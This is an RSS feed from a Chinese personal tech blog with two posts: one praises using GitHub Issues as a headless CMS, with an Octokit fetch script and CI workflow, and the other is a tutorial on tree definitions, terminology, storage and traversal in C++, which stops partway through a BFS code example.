<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:version="2.0"><channel><title>💠 LangQi99的博客</title><description>一个简洁、优雅且快速的静态博客模板！🚀 由 Astro 开发</description><link>https://langqi99.com/</link><language>zh</language><item><title>把 GitHub Issues 当博客写：一个被低估的天才方案</title><link>https://langqi99.com/blog/github-issues-as-blog/</link><guid isPermaLink="true">https://langqi99.com/blog/github-issues-as-blog/</guid><description>既享受 GitHub 的 SEO 权重和原生评论系统，又能在自己的站点里把博客做得漂亮——构建时从 Issues fetch 一遍就完了。</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/github-issues-as-blog/&quot;&gt;https://langqi99.com/blog/github-issues-as-blog/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;&lt;/p&gt;
&lt;p&gt;最近偶然刷到一个仓库 &lt;a href=&quot;https://github.com/izackwu/blog/issues&quot;&gt;izackwu/blog&lt;/a&gt;，点进去一看——&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这哥们的博客文章，全部以 &lt;code&gt;Issue&lt;/code&gt; 的形式发在 GitHub 仓库里。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我当场愣住，然后忍不住笑出声：&lt;strong&gt;这居然真的可行，而且还相当聪明。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;一、先看看他到底是怎么玩的&lt;/h2&gt;
&lt;p&gt;打开他的 Issues 列表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;二十六岁，长期主义与追星逐月&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;写在人生首马一个月之后&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;二十四岁，充满变化的一年&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;二十三岁，当时只道是偶然&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;……&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一篇都是一个 &lt;code&gt;Issue&lt;/code&gt;，标题就是文章标题，正文就是 &lt;code&gt;Markdown&lt;/code&gt; 内容，下面挂着读者的评论。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/github-issues-as-blog/issues-list.png&quot; alt=&quot;izackwu/blog 的 Issues 列表&quot;&gt;&lt;/p&gt;
&lt;p&gt;更骚的操作是：在 Google 里搜 &lt;code&gt;字节实习 博客&lt;/code&gt;，他那篇 &lt;code&gt;我在字节跳动实习的三个月 #28&lt;/code&gt; 直接霸占了&lt;strong&gt;第一条&lt;/strong&gt;，把一众 &lt;code&gt;CSDN&lt;/code&gt;、&lt;code&gt;博客园&lt;/code&gt;、&lt;code&gt;力扣&lt;/code&gt; 等老牌平台都挤了下去。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/github-issues-as-blog/google-search.png&quot; alt=&quot;Google 搜索结果中 GitHub Issue 排在第一&quot;&gt;&lt;/p&gt;
&lt;h2&gt;二、为什么这是个天才方案？&lt;/h2&gt;
&lt;p&gt;我第一反应是好笑，第二反应是——&lt;strong&gt;卧槽，这思路真是赢麻了。&lt;/strong&gt; 让我们冷静地拆一下它到底强在哪。&lt;/p&gt;
&lt;h3&gt;1. SEO 权重：站在巨人的肩膀上&lt;/h3&gt;
&lt;p&gt;自建博客最痛的痛点是什么？&lt;strong&gt;搜索引擎不收录，或者收录了排在第 8 页。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你辛辛苦苦写的文章，发在自己 &lt;code&gt;xxx.com&lt;/code&gt; 的小站上，Google 甚至懒得多看一眼。而 &lt;code&gt;github.com&lt;/code&gt; 是什么权重？&lt;strong&gt;全球技术内容的圣地之一&lt;/strong&gt;，PageRank 高到离谱。&lt;/p&gt;
&lt;p&gt;把内容塞进 &lt;code&gt;github.com/&amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt;/issues/&amp;lt;id&amp;gt;&lt;/code&gt;，相当于直接用 GitHub 这个超级域名给你的内容背书。搜索引擎一看到 &lt;code&gt;github.com&lt;/code&gt; 就两眼发光，收录速度和排名权重几乎是降维打击。&lt;/p&gt;
&lt;Success&gt;
对比一下：你自建博客可能要写一年才积累出域名权重；而 GitHub Issue 几乎是**开局送你一张 SSR 权重卡**。
&lt;/Success&gt;

&lt;h3&gt;2. 原生评论系统：白嫖一套完整 UGC&lt;/h3&gt;
&lt;p&gt;自建博客想加评论，方案无非这几种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Disqus&lt;/strong&gt;：广告满天飞，国内访问不友好。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Giscus / Gitalk / Utterances&lt;/strong&gt;：本质上还是基于 GitHub Issues / Discussions。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自建评论后端&lt;/strong&gt;：要数据库、要反垃圾、要登录系统、要邮件通知……一套全家桶下来人都要写吐了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 GitHub Issues 自带的评论系统：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;已经有完整的 &lt;strong&gt;Markdown / 表情 / @mention / 代码高亮&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;登录态全平台复用&lt;/strong&gt;——所有开发者都有 GitHub 账号；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;天然反垃圾&lt;/strong&gt;——GitHub 自带 spam 检测；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件通知 / 订阅 / 引用&lt;/strong&gt;全部免费打包；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;永不挂掉&lt;/strong&gt;，比你自建的 VPS 稳定一万倍。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你写一行代码都不用，就拥有了一套世界级的评论系统。&lt;/p&gt;
&lt;h3&gt;3. 内容托管：版本控制 + 永久备份&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Issue&lt;/code&gt; 本身就是带版本历史的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;谁编辑过、什么时候编辑的、改了什么，&lt;strong&gt;一清二楚&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;作为开源仓库还能被 fork、被 archive；&lt;/li&gt;
&lt;li&gt;你不用关心数据库备份，不用怕磁盘损坏，不用担心服务商跑路。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GitHub 帮你把内容&lt;strong&gt;强制公开 + 永久托管 + 全球分发&lt;/strong&gt;，这是任何自建方案都做不到的稳定性。&lt;/p&gt;
&lt;h3&gt;4. 写作体验：Issue 编辑器其实很顺手&lt;/h3&gt;
&lt;p&gt;GitHub 的 Issue 编辑器其实非常成熟：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持完整 Markdown；&lt;/li&gt;
&lt;li&gt;可以直接拖图，自动上传到 &lt;code&gt;user-images.githubusercontent.com&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;可以预览；&lt;/li&gt;
&lt;li&gt;可以从手机网页直接发；&lt;/li&gt;
&lt;li&gt;草稿可以扔在 Draft 状态，慢慢改。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比起在本地折腾 Hexo / Hugo / Astro 配置 + git push + Vercel 部署的链路，&lt;strong&gt;写一篇 Issue 几乎是零门槛&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;三、那&amp;quot;漂亮的个人站&amp;quot;怎么办？&lt;/h2&gt;
&lt;p&gt;这才是最妙的一步。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;既然 Issues 已经搞定了 &lt;strong&gt;内容、SEO、评论、备份&lt;/strong&gt;，那我自建的博客站还剩什么用？&lt;/p&gt;
&lt;p&gt;答：&lt;strong&gt;用来好看。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说——&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;GitHub Issues  →  内容真源（Source of Truth）
       ↓ 构建时 fetch
Astro / Next  →  美观的展示层
       ↓
你自己的域名 + 极致的视觉设计
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次构建博客时，只需要：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;调用 GitHub REST API：&lt;code&gt;GET /repos/{owner}/{repo}/issues?state=all&amp;amp;labels=Gitalk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把每个 Issue 转换成一篇 Markdown 文章；&lt;/li&gt;
&lt;li&gt;用你自己的主题、字体、动画、暗色模式渲染出来；&lt;/li&gt;
&lt;li&gt;在文章底部嵌入对应 Issue 的评论区（Giscus 即可）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;一个最小实现的伪代码&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// scripts/fetch-issues.ts
import { Octokit } from &amp;quot;@octokit/rest&amp;quot;;
import fs from &amp;quot;node:fs/promises&amp;quot;;

const octokit = new Octokit({ auth: process.env.GH_TOKEN });

const { data: issues } = await octokit.issues.listForRepo({
  owner: &amp;quot;your-name&amp;quot;,
  repo: &amp;quot;blog&amp;quot;,
  state: &amp;quot;open&amp;quot;,
  labels: &amp;quot;post&amp;quot;, // 用 label 区分哪些 issue 是博客
  per_page: 100,
});

for (const issue of issues) {
  const frontmatter = `---
title: &amp;quot;${issue.title.replace(/&amp;quot;/g, &amp;#39;\\&amp;quot;&amp;#39;)}&amp;quot;
description: &amp;quot;${(issue.body ?? &amp;quot;&amp;quot;).slice(0, 80)}&amp;quot;
pubDate: &amp;quot;${issue.created_at}&amp;quot;
updated: &amp;quot;${issue.updated_at}&amp;quot;
issueNumber: ${issue.number}
tags: ${JSON.stringify(issue.labels.map((l: any) =&amp;gt; l.name))}
---

${issue.body}
`;
  const slug = `${issue.number}-${slugify(issue.title)}.mdx`;
  await fs.writeFile(`src/content/blog/${slug}`, frontmatter);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在 CI 里加一行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# .github/workflows/deploy.yml
- name: Fetch posts from issues
  run: pnpm tsx scripts/fetch-issues.ts
  env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

- name: Build site
  run: pnpm build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更进一步，可以监听 &lt;code&gt;issues&lt;/code&gt; 事件，&lt;strong&gt;Issue 一更新就自动重新部署&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;on:
  issues:
    types: [opened, edited, labeled, unlabeled]
  push:
    branches: [main]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写完一篇 Issue，回车一发——几分钟后你的个人站就同步上线了。&lt;strong&gt;完全没有&amp;quot;写完文章还要 git commit / push&amp;quot;这一步。&lt;/strong&gt;&lt;/p&gt;
&lt;Info&gt;
这套架构本质上是把 GitHub 当成了一个免费的 Headless CMS，比 Strapi、Notion API 还好用。
&lt;/Info&gt;

&lt;h2&gt;四、双倍收益：流量入口翻倍&lt;/h2&gt;
&lt;p&gt;最骚的还在后头。&lt;/p&gt;
&lt;p&gt;正常博主只有一个入口：&lt;strong&gt;自己的域名&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而这套方案下，你拥有&lt;strong&gt;两个独立的、互相导流的入口&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;入口&lt;/th&gt;
&lt;th&gt;优势&lt;/th&gt;
&lt;th&gt;劣势&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;github.com/.../issues/N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SEO 权重高、原生评论、技术圈传播性强&lt;/td&gt;
&lt;td&gt;样式丑、不能自定义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yourblog.com/posts/...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设计精美、品牌感强、可加分析&lt;/td&gt;
&lt;td&gt;新域名权重低&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;你只要在两边互相挂个 link：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Issue 正文最上面写一句：「本文同步发布在 &lt;a href=&quot;https://yourblog.com/posts/xxx&quot;&gt;我的博客&lt;/a&gt;」&lt;/li&gt;
&lt;li&gt;博客文章底部写一句：「评论请到 &lt;a href=&quot;https://github.com/.../issues/N&quot;&gt;GitHub Issue #N&lt;/a&gt;」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SEO 流量从 GitHub 进，品牌印象在自己站上沉淀，评论又流回 Issue 增加热度。&lt;/strong&gt; 形成一个完美的闭环。&lt;/p&gt;
&lt;h2&gt;五、有什么坑吗？&lt;/h2&gt;
&lt;p&gt;当然，理性地说，这套方案不是没有缺点：&lt;/p&gt;
&lt;Warning&gt;
**GitHub 政策风险**：理论上 GitHub 可以封号、可以下架仓库。虽然概率极低，但不是零。建议本地保留一份 Issue 的导出备份。
&lt;/Warning&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;图片托管&lt;/strong&gt;：拖到 Issue 里的图片走 &lt;code&gt;user-images.githubusercontent.com&lt;/code&gt;，速度和稳定性看运气；自己博客站显示时建议&lt;strong&gt;构建时下载到本地&lt;/strong&gt;或转存到 CDN。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;私密草稿&lt;/strong&gt;：Issue 一旦创建就是公开的（除非仓库设为私有，但这样就失去 SEO 的意义）。可以用 &lt;code&gt;draft&lt;/code&gt; label 区分。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不适合长篇连载&lt;/strong&gt;：Issue 不像 wiki 那样有目录结构，文章太多时管理略乱（不过可以靠 label 和 milestone 解决）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重型 MDX 组件用不了&lt;/strong&gt;：在 GitHub 上的 Issue 渲染只有标准 Markdown，那些自定义的 React/Astro 组件只能在自建博客里看到。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;六、谁特别适合这套方案？&lt;/h2&gt;
&lt;p&gt;我想了想，这套方案其实有非常清晰的 target user：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术博主 / 开源作者&lt;/strong&gt;：天然在 GitHub 圈子里，读者本来就有账号，评论无门槛。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;想要 SEO 但不想运营的人&lt;/strong&gt;：你不需要懂 SEO，蹭 GitHub 的权重就够了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;写作频率不高的人&lt;/strong&gt;：低频写作不值得搞复杂的 CMS，Issue 简单到像发朋友圈。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多端写作的人&lt;/strong&gt;：手机随时打开 GitHub App 就能写，比打开 IDE 改 mdx 文件爽多了。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;七、写在最后&lt;/h2&gt;
&lt;p&gt;我以前一直觉得，&amp;quot;博客&amp;quot;就该是一个独立的、精心设计的网站。看到 izackwu 的玩法，我才意识到：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;博客的本质从来不是&amp;quot;网站&amp;quot;，而是&amp;quot;内容 + 读者&amp;quot;。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;既然 GitHub 已经把&amp;quot;内容托管 + SEO + 评论 + 通知 + 备份&amp;quot;这一整套基础设施都免费送给你了，那为什么不站在它的肩膀上？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;自建博客负责&lt;strong&gt;美感和品牌&lt;/strong&gt;，GitHub Issues 负责&lt;strong&gt;内容和分发&lt;/strong&gt;——两边各干自己最擅长的事情。&lt;/p&gt;
&lt;p&gt;这不是什么炫技，而是一种&lt;strong&gt;对工程懒惰的极致追求&lt;/strong&gt;。能用别人的肌肉就别长自己的，这才是真正的工程师精神。&lt;/p&gt;
&lt;p&gt;学到了，下次起新博客我也试试这套架构。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate></item><item><title>树基础（树的概念&amp;直径&amp;重心&amp;最小生成树）</title><link>https://langqi99.com/blog/tree-complete/</link><guid isPermaLink="true">https://langqi99.com/blog/tree-complete/</guid><description>系统介绍树的基础概念、直径、重心以及最小生成树，配有交互式动画演示</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/tree-complete/&quot;&gt;https://langqi99.com/blog/tree-complete/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TreeGeneralTerms from &amp;quot;../../components/mdx/tree/TreeGeneralTerms.astro&amp;quot;;
import TreeDefinition from &amp;quot;../../components/mdx/tree/TreeDefinition.astro&amp;quot;;
import TreeTerms from &amp;quot;../../components/mdx/tree/TreeTerms.astro&amp;quot;;
import TreeTypes from &amp;quot;../../components/mdx/tree/TreeTypes.astro&amp;quot;;
import TreeTraversal from &amp;quot;../../components/mdx/tree/TreeTraversal.astro&amp;quot;;
import TreeDiameterDFS from &amp;quot;../../components/mdx/tree/TreeDiameterDFS.astro&amp;quot;;
import TreeDiameterDP from &amp;quot;../../components/mdx/tree/TreeDiameterDP.astro&amp;quot;;
import TreeDiameterMidpoint from &amp;quot;../../components/mdx/tree/TreeDiameterMidpoint.astro&amp;quot;;
import TreeCentroidDef from &amp;quot;../../components/mdx/tree/TreeCentroidDef.astro&amp;quot;;
import TreeCentroidDist from &amp;quot;../../components/mdx/tree/TreeCentroidDist.astro&amp;quot;;
import TreeCentroidDFS from &amp;quot;../../components/mdx/tree/TreeCentroidDFS.astro&amp;quot;;
import TreeCentroidTwo from &amp;quot;../../components/mdx/tree/TreeCentroidTwo.astro&amp;quot;;
import TreeRerootDP from &amp;quot;../../components/mdx/tree/TreeRerootDP.astro&amp;quot;;
import MSTKruskal from &amp;quot;../../components/mdx/mst/MSTKruskal.astro&amp;quot;;
import MSTPrim from &amp;quot;../../components/mdx/mst/MSTPrim.astro&amp;quot;;&lt;/p&gt;
&lt;p&gt;树是图论中最基础也最重要的数据结构之一。它具有优美的性质和广泛的应用，从文件系统到决策树，从 HTML 文档到组织架构，树无处不在。本文将从基础概念出发，逐步深入探讨树的直径、重心以及最小生成树等重要专题。&lt;/p&gt;
&lt;hr&gt;
&lt;h1&gt;第一部分：树基础&lt;/h1&gt;
&lt;h2&gt;树的定义&lt;/h2&gt;
&lt;h3&gt;无根树&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;无根树&lt;/strong&gt;是指没有固定根节点的树。它有多种等价定义：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;有 $n$ 个节点和 $n-1$ 条边的&lt;strong&gt;连通无向图&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无环的连通无向图&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;任意两点间有且仅有一条简单路径的图&lt;/li&gt;
&lt;li&gt;任意添加一条边都会形成环的图&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些定义从不同角度描述了树的本质特征：&lt;strong&gt;连通、无环、边数等于点数减一&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;有根树&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;有根树&lt;/strong&gt;是在无根树的基础上，指定一个节点作为&amp;quot;根&amp;quot;所形成的树。根节点赋予了树明确的层级关系，形成了自上而下的结构。&lt;/p&gt;
&lt;TreeDefinition /&gt;

&lt;Info&gt;
有根树中，根节点通常绘制在最上方，子节点在下方，形成&quot;倒置&quot;的树形结构。
&lt;/Info&gt;

&lt;h2&gt;树的术语&lt;/h2&gt;
&lt;h3&gt;通用术语&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;术语&lt;/th&gt;
&lt;th&gt;定义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;森林&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;每个连通分量都是树的图，即多棵树的集合&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;生成树&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;包含图中所有顶点且连通的 $n-1$ 条边构成的子图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;叶节点&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;在无根树中度数不超过 1 的节点；在有根树中没有子节点的节点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;度数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;与节点相连的边数（无根树）或子节点数（有根树）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;TreeGeneralTerms /&gt;

&lt;h3&gt;有根树专属术语&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;父亲 (Parent)&lt;/strong&gt;：节点到根路径上的相邻上级节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;子节点 (Child)&lt;/strong&gt;：节点的相邻下级节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;兄弟 (Sibling)&lt;/strong&gt;：具有相同父亲的节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;祖先 (Ancestor)&lt;/strong&gt;：从节点到根路径上的所有节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后代 (Descendant)&lt;/strong&gt;：以该节点为根的子树中的所有节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深度 (Depth)&lt;/strong&gt;：节点到根节点的路径边数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高度 (Height)&lt;/strong&gt;：所有节点深度的最大值，也称为树的深度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;子树 (Subtree)&lt;/strong&gt;：删除与父亲相连的边后，该节点所在的子图&lt;/li&gt;
&lt;/ul&gt;
&lt;TreeTerms /&gt;

&lt;h2&gt;特殊的树&lt;/h2&gt;
&lt;h3&gt;链 (Chain)&lt;/h3&gt;
&lt;p&gt;所有节点度数不超过 2 的树。链可以看作是一条线性路径，是最&amp;quot;瘦长&amp;quot;的树结构。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 --- 2 --- 3 --- 4 --- 5
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;菊花图 / 星星 (Star)&lt;/h3&gt;
&lt;p&gt;除了一个中心节点外，其余所有节点都只与该中心节点相连。这是最&amp;quot;扁平&amp;quot;的树结构。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    2
    |
4 - 1 - 3
    |
    5
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二叉树&lt;/h3&gt;
&lt;p&gt;每个节点最多只有两个子节点的有根树，分为左子节点和右子节点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二叉树的分类：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;定义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;完整二叉树&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;每个节点的子节点数要么是 0，要么是 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;完全二叉树&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;除最后一层外全满，且最后一层节点靠左排列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;完美二叉树&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;所有叶节点深度相同，所有非叶节点都有两个子节点&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;TreeTypes /&gt;

&lt;Warning&gt;
在 OI 竞赛中，&quot;满二叉树&quot;通常指完美二叉树，而非完整二叉树。注意术语的差异。
&lt;/Warning&gt;

&lt;h2&gt;树的存储方式&lt;/h2&gt;
&lt;h3&gt;只记录父节点&lt;/h3&gt;
&lt;p&gt;使用数组 &lt;code&gt;parent[N]&lt;/code&gt; 记录每个节点的父节点。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;int parent[N];
// parent[i] = j 表示节点 i 的父节点是 j
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;适用于需要自底向上递推的场景，但无法快速找到子节点。&lt;/p&gt;
&lt;h3&gt;邻接表&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;std::vector&lt;/code&gt; 记录每个节点的所有相邻节点（无根树）或子节点（有根树）。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;vector&amp;lt;int&amp;gt; adj[N];  // 无根树：存储所有相邻节点
vector&amp;lt;int&amp;gt; children[N];  // 有根树：只存储子节点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最常用的存储方式，支持高效的遍历操作。&lt;/p&gt;
&lt;h3&gt;左孩子右兄弟表示法&lt;/h3&gt;
&lt;p&gt;记录节点的第一个子节点和它的下一个兄弟节点，可以将任意多叉树转化为二叉树结构。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;struct Node {
    int firstChild;   // 第一个子节点
    int nextSibling;  // 下一个兄弟节点
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;树的遍历&lt;/h2&gt;
&lt;h3&gt;深度优先搜索 (DFS)&lt;/h3&gt;
&lt;h4&gt;普通树 DFS&lt;/h4&gt;
&lt;p&gt;对于无向图形式的树，需要记录 &lt;code&gt;from&lt;/code&gt; 参数避免重复访问：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;void dfs(int u, int from) {
    for (int v : adj[u]) {
        if (v != from) {
            dfs(v, u);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;二叉树的三种 DFS 遍历&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;遍历方式&lt;/th&gt;
&lt;th&gt;访问顺序&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;先序遍历 (Preorder)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;根 → 左 → 右&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;中序遍历 (Inorder)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;左 → 根 → 右&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;后序遍历 (Postorder)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;左 → 右 → 根&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;代码实现：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;struct TreeNode {
    int val;
    TreeNode* left;
    TreeNode* right;
};

// 先序遍历：根 → 左 → 右
void preorder(TreeNode* root) {
    if (!root) return;
    cout &amp;lt;&amp;lt; root-&amp;gt;val &amp;lt;&amp;lt; &amp;quot; &amp;quot;;  // 访问根
    preorder(root-&amp;gt;left);       // 递归左子树
    preorder(root-&amp;gt;right);      // 递归右子树
}

// 中序遍历：左 → 根 → 右
void inorder(TreeNode* root) {
    if (!root) return;
    inorder(root-&amp;gt;left);        // 递归左子树
    cout &amp;lt;&amp;lt; root-&amp;gt;val &amp;lt;&amp;lt; &amp;quot; &amp;quot;;   // 访问根
    inorder(root-&amp;gt;right);       // 递归右子树
}

// 后序遍历：左 → 右 → 根
void postorder(TreeNode* root) {
    if (!root) return;
    postorder(root-&amp;gt;left);      // 递归左子树
    postorder(root-&amp;gt;right);     // 递归右子树
    cout &amp;lt;&amp;lt; root-&amp;gt;val &amp;lt;&amp;lt; &amp;quot; &amp;quot;;   // 访问根
}
&lt;/code&gt;&lt;/pre&gt;
&lt;Info&gt;
观察三种遍历的代码结构可以发现：唯一的区别在于**访问根节点的时机不同**。
- 先序：访问在最前
- 中序：访问在中间
- 后序：访问在最后
&lt;/Info&gt;

&lt;h3&gt;广度优先搜索 (BFS)&lt;/h3&gt;
&lt;p&gt;利用队列实现&lt;strong&gt;层序遍历&lt;/strong&gt;，严格按照从上到下、从左到右的层级访问节点。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;void bfs(int root) {
    queue&amp;lt;int&amp;gt; q;
    q.push(root);
    while (!q.empty()) {
